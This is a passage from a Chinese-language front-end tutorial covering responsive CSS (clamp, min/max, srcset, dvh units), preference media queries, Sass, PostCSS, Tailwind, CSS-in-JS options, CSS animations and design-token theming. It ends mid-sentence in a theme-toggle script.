/* 标题:最小 1.5rem,首选 4vw,最大 3rem */
h1 {
  font-size: clamp(1.5rem, 4vw, 3rem);
}

/* 段落:最小 1rem,首选 2vw + 0.5rem,最大 1.25rem */
p {
  font-size: clamp(1rem, 2vw + 0.5rem, 1.25rem);
}

/* 容器宽度也可以用 clamp */
.container {
  width: clamp(320px, 90vw, 1200px);
  margin: 0 auto;
  padding: clamp(16px, 4vw, 48px);
}

/* 卡片间距随屏幕变化 */
.card-grid {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
  gap: clamp(12px, 2vw, 32px);
}
clamp() 的计算逻辑

clamp(MIN, PREFERRED, MAX) 等价于 max(MIN, min(PREFERRED, MAX))。浏览器先取 PREFERRED 和 MAX 中较小的,再和 MIN 取较大的。当 PREFERRED 使用 vw 单位时,字体大小会随视口宽度平滑变化,断点之间不再有突兀的跳变。这是现代响应式排版的核心技巧。

min() / max() 函数

/* min() 取较小值,max() 取较大值 */
/* 在响应式布局中非常实用 */

/* 宽度:不超过 800px,但也不小于 90vw */
.content {
  width: min(800px, 90vw);
  margin: 0 auto;
}

/* 侧边栏:最小 200px,最大占 25% */
.sidebar {
  width: max(200px, 25%);
}

/* 高度:至少 300px,但不超过视口高度 */
.hero {
  height: max(300px, 80vh);
}

/* 结合 calc() 实现复杂计算 */
.card {
  /* 宽度 = 33% - 间距,但最小不低于 280px */
  width: max(280px, calc(33.333% - 24px));
}

/* padding:最小 16px,首选 5%,最大 64px */
.section {
  padding: clamp(16px, 5%, 64px);
}

响应式图片

<!-- srcset:根据屏幕分辨率/宽度选择不同图片 -->
<!-- 浏览器自动选择最合适的图片,节省流量 -->

<!-- 方法1:按像素密度切换(1x/2x 屏幕) -->
<img
  src="photo-800.jpg"
  srcset="photo-800.jpg 1x, photo-1600.jpg 2x"
  alt="示例图片"
>

<!-- 方法2:按视口宽度切换(推荐) -->
<!-- sizes 告诉浏览器图片在不同视口下的显示宽度 -->
<!-- 浏览器据此计算并下载最合适的图片 -->
<img
  src="photo-800.jpg"
  srcset="
    photo-400.jpg   400w,
    photo-800.jpg   800w,
    photo-1200.jpg 1200w,
    photo-1600.jpg 1600w
  "
  sizes="(max-width: 600px) 100vw,
         (max-width: 1024px) 50vw,
         33vw"
  alt="示例图片"
>

<!-- picture 元素:更精确的控制 -->
<!-- 可以根据条件切换完全不同的图片(如裁切方式) -->
<picture>
  <!-- 窄屏用竖版裁切 -->
  <source
    media="(max-width: 767px)"
    srcset="hero-mobile.webp"
    type="image/webp"
  >
  <!-- 宽屏用横版 -->
  <source
    media="(min-width: 768px)"
    srcset="hero-desktop.webp"
    type="image/webp"
  >
  <!-- 兜底 -->
  <img src="hero-desktop.jpg" alt="首屏大图">
</picture>

<!-- picture + 现代格式降级 -->
<picture>
  <source srcset="photo.avif" type="image/avif">
  <source srcset="photo.webp" type="image/webp">
  <img src="photo.jpg" alt="自动选最优格式">
</picture>
响应式图片最佳实践

1)优先用 sizes + srcset(按宽度切换),让浏览器智能选择;2)用 <picture> 做艺术指导(不同屏幕用不同裁切);3)搭配 WebP/AVIF 现代格式可减少 50-70% 体积;4)始终写 alt 属性。工具推荐:用 Squoosh(squoosh.app)压缩图片,用 srcset 生成器批量生成多尺寸图片。

用户偏好媒体特性

/* prefers-color-scheme:检测系统的深色/浅色模式 */
/* 让网站自动适配用户系统主题 */

/* 浅色模式(默认) */
:root {
  --bg: #ffffff;
  --text: #1a1a1a;
  --surface: #f5f5f5;
  --border: #e0e0e0;
}

/* 深色模式 */
@media (prefers-color-scheme: dark) {
  :root {
    --bg: #1a1a1a;
    --text: #e5e5e5;
    --surface: #2a2a2a;
    --border: #404040;
  }
}

body {
  background: var(--bg);
  color: var(--text);
}

/* 图片在深色模式下降低亮度,避免刺眼 */
@media (prefers-color-scheme: dark) {
  img {
    filter: brightness(0.9);
  }
}
/* prefers-reduced-motion:检测用户是否开启"减少动画" */
/* 尊重用户的系统设置——有些人会因为前庭障碍而对动画不适 */

/* 默认动画 */
.hero-banner {
  animation: slideIn 0.6s ease-out;
  transition: transform 0.3s ease;
}

.card {
  transition: box-shadow 0.3s ease, transform 0.2s ease;
}

.card:hover {
  transform: translateY(-4px);
  box-shadow: 0 8px 24px rgba(0,0,0,0.12);
}

/* 用户开启了"减少动画"——移除或简化所有动画 */
@media (prefers-reduced-motion: reduce) {
  *,
  *::before,
  *::after {
    animation-duration: 0.01ms !important;
    animation-iteration-count: 1 !important;
    transition-duration: 0.01ms !important;
    scroll-behavior: auto !important;
  }

  .card:hover {
    transform: none;  /* 不再有位移 */
  }
}
/* 其他实用的偏好媒体特性 */

/* prefers-contrast:高对比度模式 */
@media (prefers-contrast: high) {
  :root {
    --text: #000000;
    --bg: #ffffff;
    --border: #000000;
  }

  a {
    text-decoration: underline;  /* 加下划线更明显 */
  }
}

/* prefers-reduced-transparency */
@media (prefers-reduced-transparency: reduce) {
  .glass-card {
    background: #fff;  /* 不再用半透明 */
    backdrop-filter: none;
  }
}

/* color-gamut:检测显示器色域 */
@media (color-gamut: p3) {
  :root {
    --accent: color(display-p3 1 0.5 0);  /* 用 P3 广色域 */
  }
}
无障碍不是可选项

全球约 15% 的人有某种形式的残障。prefers-reduced-motion 和 prefers-color-scheme 不是"锦上添花",而是基本的无障碍要求。许多公司因网站不满足无障碍标准而面临法律诉讼。用 @media (prefers-reduced-motion: reduce) 关闭动画只需几行代码,却能让真正需要的用户受益。建议开发时始终开启系统"减少动画"选项来测试。

视口新单位:dvh / svh / lvh

/* 传统 100vh 在移动端有问题——浏览器地址栏会遮挡内容 */
/* 新单位解决了这个问题 */

/* svh(Small Viewport Height):地址栏展开时的最小高度 */
/* lvh(Large Viewport Height):地址栏收起时的最大高度 */
/* dvh(Dynamic Viewport Height):实时变化的高度 */

/* 对比 */
.full-screen-old {
  height: 100vh;    /* 移动端底部可能被截断 */
}

.full-screen-new {
  height: 100dvh;   /* 始终等于可见区域,包括地址栏变化 */
}

/* 实际应用:首屏全屏 */
.hero {
  min-height: 100dvh;    /* 至少一屏,内容多时可以撑开 */
  display: grid;
  place-items: center;
}

/* 登录页:始终占满屏幕 */
.login-page {
  height: 100dvh;
  display: flex;
  align-items: center;
  justify-content: center;
}

/* 底部固定的页脚布局 */
.page-layout {
  min-height: 100dvh;
  display: grid;
  grid-template-rows: auto 1fr auto;
  /* header | main(自动填满) | footer */
}

/* 带安全区的全屏(刘海屏/底部横条) */
.full-screen-safe {
  height: 100dvh;
  padding: env(safe-area-inset-top)
           env(safe-area-inset-right)
           env(safe-area-inset-bottom)
           env(safe-area-inset-left);
}

/* 兼容写法:不支持 dvh 时降级为 vh */
.hero-compat {
  height: 100vh;            /* 降级 */
  height: 100dvh;           /* 现代浏览器覆盖 */
}
vh vs dvh 的区别

在手机 Safari 上,100vh 等于地址栏收起时的高度(最大值),而页面实际可见区域更小,导致底部内容被遮挡。100dvh 会实时跟随地址栏展开/收起而变化,始终等于用户可见区域。如果你的页面有"占满全屏"的需求,2026 年应优先使用 dvh。svh 适合"最小高度"场景(如弹窗),lvh 适合"最大高度"场景(如全屏背景图)。

30. CSS 预处理器与后处理器

CSS 预处理器(Sass、Less)扩展了 CSS 的语法——支持变量、嵌套、函数、混入等编程特性。后处理器(PostCSS)对编译后的 CSS 做转换——自动添加浏览器前缀、压缩代码等。

Sass/SCSS:最流行的 CSS 预处理器

// Sass 有两种语法:.sass(缩进语法)和 .scss(类似 CSS,推荐)
// 安装:pnpm add -D sass

// 1. 变量
$primary: #2563eb;
$spacing: 16px;
$font-stack: 'Inter', sans-serif;

.button {
  background: $primary;
  padding: $spacing;
  font-family: $font-stack;
}

// 2. 嵌套(最常用的特性)
.nav {
  background: #fff;

  .nav-item {
    padding: 8px 16px;

    &:hover {
      background: #f0f0f0;
    }

    &.active {
      color: $primary;
    }
  }
}

// 编译后:
// .nav { background: #fff; }
// .nav .nav-item { padding: 8px 16px; }
// .nav .nav-item:hover { background: #f0f0f0; }
// .nav .nav-item.active { color: #2563eb; }

// 3. 混入(@mixin):可复用的样式块
@mixin flex-center {
  display: flex;
  justify-content: center;
  align-items: center;
}

@mixin responsive($breakpoint) {
  @if $breakpoint == 'sm' { @media (min-width: 640px) { @content; } }
  @if $breakpoint == 'md' { @media (min-width: 768px) { @content; } }
  @if $breakpoint == 'lg' { @media (min-width: 1024px) { @content; } }
}

.card {
  @include flex-center;
  padding: 16px;

  @include responsive('md') {
    padding: 24px;
  }
}

// 4. 函数
@function rem($px, $base: 16) {
  @return ($px / $base) * 1rem;
}

.title {
  font-size: rem(24);  // 编译为 1.5rem
}

// 5. 继承(@extend)
%message-shared {
  padding: 12px 16px;
  border-radius: 8px;
  margin-bottom: 8px;
}

.success { @extend %message-shared; background: #f0fdf4; color: #16a34a; }
.error { @extend %message-shared; background: #fef2f2; color: #dc2626; }

// 6. 模块化(@use)
// _variables.scss(下划线开头表示"部分文件")
$primary: #2563eb;

// main.scss
@use 'variables' as vars;
.button { background: vars.$primary; }
Sass vs CSS 变量

Sass 变量($xxx)是编译时替换的,运行时不能修改。CSS 变量(--xxx)是运行时的,可以用 JS 修改。2026 年推荐:主题色、间距等需要动态切换的用 CSS 变量;编译时才需要的计算用 Sass 变量。如果项目用 Tailwind CSS,两者都不太需要——Tailwind 内置了完整的设计系统。

PostCSS:CSS 后处理器

// PostCSS 对编译后的 CSS 做转换
// 安装:pnpm add -D postcss autoprefixer

// postcss.config.js
module.exports = {
  plugins: [
    require('autoprefixer'),  // 自动添加浏览器前缀
    // 输入:display: flex
    // 输出:display: -webkit-box; display: -ms-flexbox; display: flex
  ]
}

// Vite 内置了 PostCSS 支持,不需要额外配置 autoprefixer
// 只需要在项目根目录创建 postcss.config.js

Tailwind CSS:原子化 CSS

<!-- Tailwind 用预定义的类名直接写样式,不需要写 CSS 文件 -->

<!-- 传统方式 -->
<button class="btn btn-primary">提交</button>
<style>
.btn { padding: 8px 16px; border-radius: 8px; }
.btn-primary { background: #2563eb; color: white; }
</style>

<!-- Tailwind 方式 -->
<button class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700 transition">
  提交
</button>

<!-- 常用类名速查 -->
<!-- 间距:p-4 (padding:16px), m-4 (margin:16px), gap-4 (gap:16px) -->
<!-- 尺寸:w-full (width:100%), h-screen (height:100vh), max-w-xl -->
<!-- 布局:flex, grid, items-center, justify-between, grid-cols-3 -->
<!-- 文字:text-lg (18px), font-bold (700), text-gray-500 -->
<!-- 背景:bg-white, bg-blue-600, bg-gradient-to-r -->
<!-- 边框:border, rounded-lg, shadow-md, ring-2 -->
<!-- 响应式:sm: md: lg: xl:(断点前缀) -->
<!-- 状态:hover: focus: active: disabled: -->
<!-- 暗色:dark:bg-gray-900 dark:text-white -->

<!-- 安装配置 -->
<!-- pnpm add -D tailwindcss @tailwindcss/vite -->
<!-- vite.config.ts: plugins: [tailwindcss()] -->
<!-- index.css: @import "tailwindcss"; -->
2026 年推荐

Tailwind CSS 是 2026 年最流行的 CSS 方案。优点:1)不用写 CSS 文件;2)类名即样式,一看就懂;3)自动 purge 未使用的类,打包体积小;4)配合 shadcn/ui 是最佳组合。缺点:HTML 类名较长。总体利大于弊。

原生 CSS 新特性:正在取代预处理器

/* 1. 原生嵌套(CSS Nesting)—— 不再需要 Sass 的 & 语法 */
.card {
  background: white;
  & h2 { font-size: 1.5rem; }
  &:hover { box-shadow: 0 4px 12px rgba(0,0,0,.1); }
  @media (max-width: 640px) { padding: 12px; }
}

/* 2. @layer 层叠层 —— 精确控制样式优先级 */
@layer reset, base, components, utilities;
@layer reset { * { margin: 0; box-sizing: border-box; } }
@layer components { .btn { padding: 8px 16px; } }

/* 3. @scope 作用域 —— 替代 CSS Modules 的局部样式 */
@scope (.card) to (.card-footer) {
  p { color: #333; }       /* 只作用于 .card 内、.card-footer 外的 p */
}

/* 4. color-mix() —— 运行时颜色计算,替代 Sass 的 darken/lighten */
.button {
  --base: #2563eb;
  background: var(--base);
  color: color-mix(in srgb, var(--base) 80%, black);
}
.button:hover {
  background: color-mix(in srgb, var(--base) 90%, white);
}

PostCSS 插件生态

// postcss-preset-env:一组插件,让你用未来 CSS 语法并自动降级
// 安装:pnpm add -D postcss-preset-env
// postcss.config.js
module.exports = {
  plugins: [
    require('postcss-preset-env')({
      stage: 2,                          // 只启用 stage 2+ 的特性(较稳定)
      features: {
        'nesting-rules': true,           // CSS 原生嵌套
        'custom-media-queries': true     // 自定义媒体查询
      }
    })
  ]
}

// postcss-nesting:单独的嵌套插件(比 postcss-preset-env 更轻量)
// pnpm add -D postcss-nesting

Sass 模块化:@forward 与 @use

// @use 是 @import 的替代品——有命名空间,不会污染全局
// _variables.scss
$primary: #2563eb;
@function scale($size) { @return $size * 1.25; }

// _mixins.scss
@forward 'variables';     // @forward 把下层模块再暴露出去
@mixin flex-center { display: flex; align-items: center; justify-content: center; }

// main.scss
@use 'mixins' as m;       // 用 as 给模块加命名空间
.hero {
  @include m.flex-center;
  font-size: m.scale(16px);
  color: m.$primary;
}

// @use vs @import 的关键区别:
// 1. @use 的成员通过命名空间访问(m.$primary),不会全局污染
// 2. @use 只加载一次,@import 可能重复加载
// 3. @forward 用于"转发"模块,构建统一入口(类似 barrel export)

31. CSS-in-JS 与原子化 CSS

CSS-in-JS 是用 JavaScript 写 CSS 的方案——样式和组件放在一起,天然支持动态样式、作用域隔离。原子化 CSS 则是另一种思路——用大量预定义的小类名组合出任意样式。

CSS-in-JS 方案对比

方案原理特点2026 状态
styled-components运行时生成 <style> 标签语法优雅,支持 props 动态样式维护模式,不推荐新项目
Emotion运行时注入 CSS更灵活,支持 CSS prop维护模式
vanilla-extract编译时生成 CSS零运行时,TypeScript 原生活跃,推荐
Panda CSS编译时生成零运行时,类型安全活跃,推荐

styled-components(经典方案)

// styled-components:用 tagged template literal 写样式
import styled from 'styled-components'

const Button = styled.button`
  padding: 8px 16px;
  background: ${props => props.primary ? '#2563eb' : '#e5e7eb'};
  color: ${props => props.primary ? 'white' : '#374151'};
  border-radius: 8px;
  border: none;
  cursor: pointer;

  &:hover {
    opacity: 0.9;
  }
`

// 使用
<Button primary>主要按钮</Button>
<Button>次要按钮</Button>

// 继承样式
const LargeButton = styled(Button)`
  padding: 12px 24px;
  font-size: 18px;
`

// 全局样式
import { createGlobalStyle } from 'styled-components'
const GlobalStyle = createGlobalStyle`
  * { margin: 0; padding: 0; box-sizing: border-box; }
  body { font-family: sans-serif; }
`

vanilla-extract(编译时方案,推荐)

// vanilla-extract:在 .css.ts 文件中写样式,编译时生成纯 CSS
// 安装:pnpm add @vanilla-extract/css

// Button.css.ts
import { style } from '@vanilla-extract/css'

export const button = style({
  padding: '8px 16px',
  borderRadius: '8px',
  border: 'none',
  cursor: 'pointer',
  ':hover': { opacity: 0.9 }
})

export const primary = style({
  background: '#2563eb',
  color: 'white'
})

// 使用
import { button, primary } from './Button.css'

function MyButton({ isPrimary, children }) {
  return (
    <button className={`${button} ${isPrimary ? primary : ''}`}>
      {children}
    </button>
  )
}

// 优势:零运行时开销、完整的 TypeScript 类型检查、自动生成 CSS 文件
CSS-in-JS 为什么在衰退

CSS-in-JS(styled-components、Emotion)在运行时需要:1)解析模板字符串生成 CSS;2)注入 <style> 标签到 DOM;3)每次渲染都要计算样式。这在大型应用中会导致明显的性能问题。2026 年的趋势是"零运行时"方案——要么用编译时 CSS-in-JS(vanilla-extract、Panda CSS),要么用 Tailwind CSS。

原子化 CSS 的理念

<!-- 原子化 CSS:每个类只做一件事 -->
<!-- 传统方式:一个 .btn-primary 类包含 10+ 个 CSS 属性 -->
<!-- 原子化:用 10 个单属性类组合 -->

<!-- 传统 CSS -->
<style>
.btn-primary {
  padding: 8px 16px;
  background: #2563eb;
  color: white;
  border-radius: 8px;
  font-size: 14px;
  font-weight: 600;
  cursor: pointer;
  border: none;
}
</style>
<button class="btn-primary">提交</button>

<!-- 原子化 CSS(Tailwind) -->
<button class="px-4 py-2 bg-blue-600 text-white rounded-lg text-sm font-semibold cursor-pointer border-0">
  提交
</button>

<!-- Tailwind 的优势: -->
<!-- 1. 不用写 CSS 文件,不用想类名 -->
<!-- 2. 自动 purge 未使用的类,打包体积最小 -->
<!-- 3. 设计系统内置(间距、颜色、字体都是统一的) -->
<!-- 4. 响应式前缀:md:flex lg:grid -->
2026 年的 CSS 方案选择

1)新项目首选 Tailwind CSS——生态最大、学习资源最多、配合 shadcn/ui 是最佳组合;2)需要完全类型安全选 vanilla-extract 或 Panda CSS;3)不要在新项目中使用 styled-components / Emotion(运行时开销大,已停止积极开发)。

Panda CSS(编译时类型安全)

// Panda CSS:零运行时 + 完整 TypeScript 类型推导
// 安装:pnpm add -D @pandacss/dev

// panda.config.ts
import { defineConfig } from '@pandacss/dev'

export default defineConfig({
  preflight: true,          // 内置 CSS reset
  include: ['./src/**/*.{ts,tsx}'],
  outdir: 'styled-system',  // 生成的工具代码输出目录
  theme: {
    extend: {
      tokens: {
        colors: {
          primary: { value: '#2563eb' },
        }
      }
    }
  }
})

// 使用——在组件中直接写样式对象
import { css } from '../styled-system/css'
import { cva } from '../styled-system/css'  // variant 变体

const button = cva({
  base: { padding: '8px 16px', borderRadius: '8px', cursor: 'pointer' },
  variants: {
    visual: {
      primary: { bg: 'blue.600', color: 'white' },
      secondary: { bg: 'gray.200', color: 'gray.800' }
    }
  }
})

// 编译后生成纯 CSS,JS 中只保留类名字符串——零运行时

StyleX(Meta 的 CSS-in-JS 方案)

// StyleX:Meta(Facebook)开发的编译时 CSS-in-JS
// Instagram、Facebook、WhatsApp Web 均在使用
// 特点:原子化输出 + 编译时优化 + 跨平台支持

import * as stylex from '@stylexjs/stylex'

const styles = stylex.create({
  base: {
    padding: '8px 16px',
    borderRadius: '8px',
    cursor: 'pointer',
  },
  primary: {
    backgroundColor: '#2563eb',
    color: 'white',
  },
})

// 编译后生成原子化 CSS 类(类似 Tailwind 的输出)
<button {...stylex.props(styles.base, styles.primary)}>提交</button>

// StyleX vs Tailwind:StyleX 适合偏好 JS 写样式的团队
// Tailwind 适合偏好 HTML 写样式的团队,生态更大

CSS Modules(局部作用域 CSS)

/* CSS Modules:文件名以 .module.css 结尾,类名自动局部化 */
/* 构建工具自动把 .btn 编译为 .btn_x3k2f——不会和其他组件冲突 */

/* Button.module.css */
.btn {
  padding: 8px 16px;
  border-radius: 8px;
  cursor: pointer;
}
.primary {
  background: #2563eb;
  color: white;
}

// Button.jsx
import styles from './Button.module.css'

function Button({ children }) {
  return (
    <button className={`${styles.btn} ${styles.primary}`}>
      {children}
    </button>
  )
}
// 优势:零配置(Vite/CRA 内置支持)、真正的局部作用域、支持 composes 组合
// 劣势:不能动态生成样式、写法比 Tailwind 繁琐

Tailwind CSS v4 新特性

/* Tailwind v4(2025 年发布):CSS-first 配置,告别 tailwind.config.js */

/* 安装——零配置即可使用 */
/* pnpm add tailwindcss @tailwindcss/vite */

/* v4 核心变化:配置写在 CSS 中,用 @theme 指令定义设计系统 */
@import "tailwindcss";

@theme {
  --color-primary: #2563eb;
  --color-primary-light: #3b82f6;
  --color-accent: #7c3aed;
  --font-display: 'Inter', sans-serif;
  --breakpoint-3xl: 1920px;
  --radius-card: 12px;
}

/* 直接使用自定义 Token */
<button class="bg-primary text-white font-display rounded-card">
  按钮
</button>

/* v4 其他新特性 */
/* 1. 原生 CSS 变量支持:--spacing(4) 替代 p-4 的硬编码值 */
/* 2. Container queries:@container 支持 */
/* 3. 3D 变换:rotate-x-12 rotate-y-45 */
/* 4. 动态值:text-[length:var(--size)] 直接用 CSS 变量 */
/* 5. 性能提升:基于 Lightning CSS(Rust 编写),构建速度提升 10x */

32. CSS 动画与过渡

CSS 动画让页面从"死板"变"生动"。好的动画提升用户体验,差的动画让用户头晕。这一章介绍 CSS 过渡、关键帧动画,以及高性能动画的最佳实践。

一个类比

过渡(transition)像自动门——你走过去,门平滑地打开。关键帧动画(animation)像电影——按预定的剧本一帧一帧播放。过渡是"从 A 到 B",动画是"从 A 到 B 到 C 到 D"。

过渡(transition)

/* 过渡:属性变化时平滑过渡 */
.button {
  background: #2563eb;
  color: white;
  padding: 8px 16px;
  border-radius: 8px;
  /* 简写:property duration timing-function delay */
  transition: all 0.2s ease;
}
.button:hover {
  background: #1d4ed8;
  transform: translateY(-2px);
  box-shadow: 0 4px 12px rgba(37, 99, 235, 0.3);
}

/* 分开写不同属性的过渡 */
.card {
  transition:
    transform 0.2s ease,
    box-shadow 0.3s ease,
    background 0.15s ease;
}

/* timing-function 说明 */
/* ease(默认):慢→快→慢,最自然 */
/* linear:匀速,适合进度条 */
/* ease-in:慢→快,适合元素离开 */
/* ease-out:快→慢,适合元素进入 */
/* cubic-bezier(0.4, 0, 0.2, 1):自定义,Material Design 标准曲线 */

/* 性能提示:只过渡 transform 和 opacity(GPU 加速) */
/* 避免过渡 width/height/top/left(触发重排,性能差) */

关键帧动画(@keyframes)

/* 定义关键帧 */
@keyframes fadeIn {
  from { opacity: 0; transform: translateY(10px); }
  to { opacity: 1; transform: translateY(0); }
}

@keyframes slideIn {
  0% { transform: translateX(-100%); }
  100% { transform: translateX(0); }
}

@keyframes bounce {
  0%, 100% { transform: translateY(0); }
  50% { transform: translateY(-20px); }
}

@keyframes pulse {
  0% { transform: scale(1); opacity: 1; }
  50% { transform: scale(1.05); opacity: 0.8; }
  100% { transform: scale(1); opacity: 1; }
}

/* 使用动画 */
/* animation: name duration timing-function delay iteration-count direction fill-mode */
.fade-in { animation: fadeIn 0.3s ease forwards; }
.slide-in { animation: slideIn 0.5s ease-out; }
.bounce { animation: bounce 1s ease infinite; }
.pulse { animation: pulse 2s ease infinite; }

/* forwards:动画结束后保持最后一帧的状态 */
/* infinite:无限循环 */
/* alternate:正向→反向交替 */
/* 延迟:animation-delay: 0.2s(可以用来做交错动画) */

/* 交错动画(列表项依次出现) */
.item:nth-child(1) { animation-delay: 0.05s; }
.item:nth-child(2) { animation-delay: 0.1s; }
.item:nth-child(3) { animation-delay: 0.15s; }
/* 或用 JS 动态设置 style.animationDelay */

常用动画模式

/* 加载动画:旋转圆圈 */
@keyframes spin {
  to { transform: rotate(360deg); }
}
.spinner {
  width: 24px; height: 24px;
  border: 3px solid #e5e7eb;
  border-top-color: #2563eb;
  border-radius: 50%;
  animation: spin 0.8s linear infinite;
}

/* 骨架屏:闪烁占位 */
@keyframes shimmer {
  0% { background-position: -200% 0; }
  100% { background-position: 200% 0; }
}
.skeleton {
  background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%);
  background-size: 200% 100%;
  animation: shimmer 1.5s infinite;
  border-radius: 4px;
}

/* 打字机效果 */
@keyframes typing {
  from { width: 0; }
  to { width: 100%; }
}
.typewriter {
  overflow: hidden;
  white-space: nowrap;
  border-right: 2px solid;
  animation: typing 2s steps(20) forwards, blink 0.7s step-end infinite;
}

@keyframes blink {
  50% { border-color: transparent; }
}

FLIP 动画(高性能列表动画)

// FLIP = First → Last → Invert → Play
// 用 transform 实现位置变化动画,不触发重排

// 1. First:记录元素初始位置
const firstRect = element.getBoundingClientRect()

// 2. Last:让元素到达最终位置(DOM 操作)
parent.insertBefore(element, newSibling)

// 3. Invert:用 transform 把元素"移回"初始位置
const lastRect = element.getBoundingClientRect()
const deltaX = firstRect.left - lastRect.left
const deltaY = firstRect.top - lastRect.top
element.style.transform = `translate(${deltaX}px, ${deltaY}px)`

// 4. Play:移除 transform,触发过渡动画
requestAnimationFrame(() => {
  element.style.transition = 'transform 0.3s ease'
  element.style.transform = ''
})

// 推荐库:@dnd-kit/sortable(拖拽排序自动用 FLIP 动画)
动画性能原则

1)只用 transform 和 opacity 做动画(GPU 加速,不触发重排);2)避免动画 width、height、top、left(触发重排,卡顿);3)用 will-change: transform 提示浏览器优化(不要滥用);4)用 requestAnimationFrame 而不是 setTimeout 做 JS 动画;5)动画时长 200-500ms 最舒适,太快看不清,太慢感觉卡。

滚动驱动动画(Scroll-driven Animations)

/* animation-timeline 让动画与滚动位置绑定,而非时间 */
/* 不需要 JS 监听 scroll 事件,纯 CSS 实现 */

/* 滚动进度条——页面滚动到底部时动画刚好播完 */
.progress-bar {
  position: fixed;
  top: 0; left: 0;
  height: 3px;
  background: #2563eb;
  transform-origin: left;
  animation: grow-progress linear;
  animation-timeline: scroll();
}
@keyframes grow-progress {
  from { transform: scaleX(0); }
  to { transform: scaleX(1); }
}

/* 元素滚动进入视口时触发动画 */
.fade-in-section {
  animation: fadeInUp linear both;
  animation-timeline: view();
  animation-range: entry 0% entry 100%;
}
@keyframes fadeInUp {
  from { opacity: 0; transform: translateY(40px); }
  to { opacity: 1; transform: translateY(0); }
}

View Transitions API

// 跨文档(SPA 路由切换)的平滑过渡动画
// 浏览器自动截取新旧两帧,执行淡入淡出

// 最简用法:一行代码搞定页面切换动画
document.startViewTransition(async () => {
  await updateDOM()  // 更新 DOM(比如切换路由组件)
})

// 自定义过渡动画
::view-transition-old(root) {
  animation: fadeOut 0.3s ease-out;
}
::view-transition-new(root) {
  animation: fadeIn 0.3s ease-in;
}

// 给过渡元素命名,精细控制
// .old-card { view-transition-name: card; }
// MPA 也支持:@view-transition { navigation: auto; }

Web Animations API

// element.animate():JS 驱动的动画,比 CSS animation 更灵活
const animation = element.animate(
  [
    { opacity: 0, transform: 'translateY(20px)' },
    { opacity: 1, transform: 'translateY(0)' }
  ],
  { duration: 300, easing: 'ease-out', fill: 'forwards' }
)

// 控制动画
animation.pause()
animation.play()
animation.reverse()
animation.playbackRate = 2   // 2 倍速

// 等待动画完成
await animation.finished

// 获取所有正在运行的动画
element.getAnimations().forEach(a => a.cancel())

@starting-style 入场动画

/* @starting-style:定义元素首次渲染或 display:none→block 时的初始状态 */
/* 解决"元素从隐藏到显示时没有入场动画"的问题 */

.dialog {
  opacity: 1;
  transform: scale(1);
  transition: opacity 0.3s, transform 0.3s;
}

/* 首次渲染时从这些值过渡到正常值 */
@starting-style {
  .dialog {
    opacity: 0;
    transform: scale(0.95);
  }
}

/* 配合 Popover / Dialog 使用 */
[popover] {
  opacity: 1;
  transform: translateY(0);
  transition: opacity 0.25s, transform 0.25s, display 0.25s allow-discrete;
}
@starting-style {
  [popover]:popover-open {
    opacity: 0;
    transform: translateY(8px);
  }
}
CSS 动画的未来

1)Scroll-driven Animations 用纯 CSS 替代 JS scroll 监听,性能更好;2)View Transitions 让 SPA/MPA 都能有原生级页面切换动画;3)@starting-style 解决了"首次渲染无动画"的老大难问题;4)这些新特性在 2025-2026 年已获得主流浏览器支持,可放心使用。

33. 设计系统与主题

设计系统是一套统一的设计规范——颜色、字体、间距、圆角、阴影等。它确保整个产品的视觉风格一致,也让开发和设计的协作更高效。

一个类比

设计系统就像一家连锁餐厅的"品牌手册"——规定了招牌的颜色、餐具的样式、菜单的字体、桌椅的间距。每家分店(页面)都按手册装修,保证风格统一。没有手册,每家店装修风格都不一样,品牌就乱了。

设计 Token(Design Tokens)

/* 设计 Token:把设计决策抽象成变量 */
/* Token 是设计系统的"原子"——最小的设计单元 */

:root {
  /* 颜色 Token(按色阶分组) */
  --color-primary-50: #eff6ff;
  --color-primary-100: #dbeafe;
  --color-primary-500: #2563eb;
  --color-primary-600: #2563eb;
  --color-primary-700: #1d4ed8;
  --color-primary-900: #1e3a8a;

  --color-gray-50: #f9fafb;
  --color-gray-100: #f3f4f6;
  --color-gray-200: #e5e7eb;
  --color-gray-500: #6b7280;
  --color-gray-900: #111827;

  --color-success: #16a34a;
  --color-warning: #d97706;
  --color-error: #dc2626;

  /* 语义化颜色 Token(推荐使用) */
  --color-bg: #ffffff;
  --color-bg-secondary: var(--color-gray-50);
  --color-text: var(--color-gray-900);
  --color-text-secondary: var(--color-gray-500);
  --color-border: var(--color-gray-200);

  /* 间距 Token(4px 为基础的倍数) */
  --space-1: 4px;
  --space-2: 8px;
  --space-3: 12px;
  --space-4: 16px;
  --space-6: 24px;
  --space-8: 32px;
  --space-12: 48px;
  --space-16: 64px;

  /* 字体 Token */
  --font-sans: 'Inter', -apple-system, 'PingFang SC', sans-serif;
  --font-mono: 'Fira Code', 'SF Mono', monospace;
  --font-size-xs: 12px;
  --font-size-sm: 14px;
  --font-size-base: 16px;
  --font-size-lg: 18px;
  --font-size-xl: 20px;
  --font-size-2xl: 24px;
  --font-size-3xl: 30px;

  /* 圆角 Token */
  --radius-sm: 4px;
  --radius-md: 8px;
  --radius-lg: 12px;
  --radius-xl: 16px;
  --radius-full: 9999px;

  /* 阴影 Token */
  --shadow-sm: 0 1px 2px rgba(0,0,0,0.05);
  --shadow-md: 0 4px 6px rgba(0,0,0,0.07);
  --shadow-lg: 0 10px 15px rgba(0,0,0,0.1);
  --shadow-xl: 0 20px 25px rgba(0,0,0,0.1);

  /* 动画 Token */
  --duration-fast: 150ms;
  --duration-normal: 200ms;
  --duration-slow: 300ms;
  --easing-standard: cubic-bezier(0.4, 0, 0.2, 1);
}

深色主题实现

/* 方案 1:CSS 变量切换(推荐) */
/* 深色主题只覆盖语义化 Token 的值 */
.dark {
  --color-bg: #0f172a;
  --color-bg-secondary: #1e293b;
  --color-text: #f1f5f9;
  --color-text-secondary: #94a3b8;
  --color-border: #334155;
  --shadow-md: 0 4px 6px rgba(0,0,0,0.3);
}

/* 组件使用语义化 Token,自动适配深色模式 */
.card {
  background: var(--color-bg);
  color: var(--color-text);
  border: 1px solid var(--color-border);
  border-radius: var(--radius-lg);
  box-shadow: var(--shadow-md);
}

/* 切换主题的 JS 代码 */
function toggleTheme() {
  document.documentElement.classList.toggle('dark')
  localStorage.setItem('theme',
    document.documentElement.classList.contains('dark') ? 'dark' : 'light'
  )
}

// 初始化时读取用户偏好
if (localStorage.theme === 'dark' ||
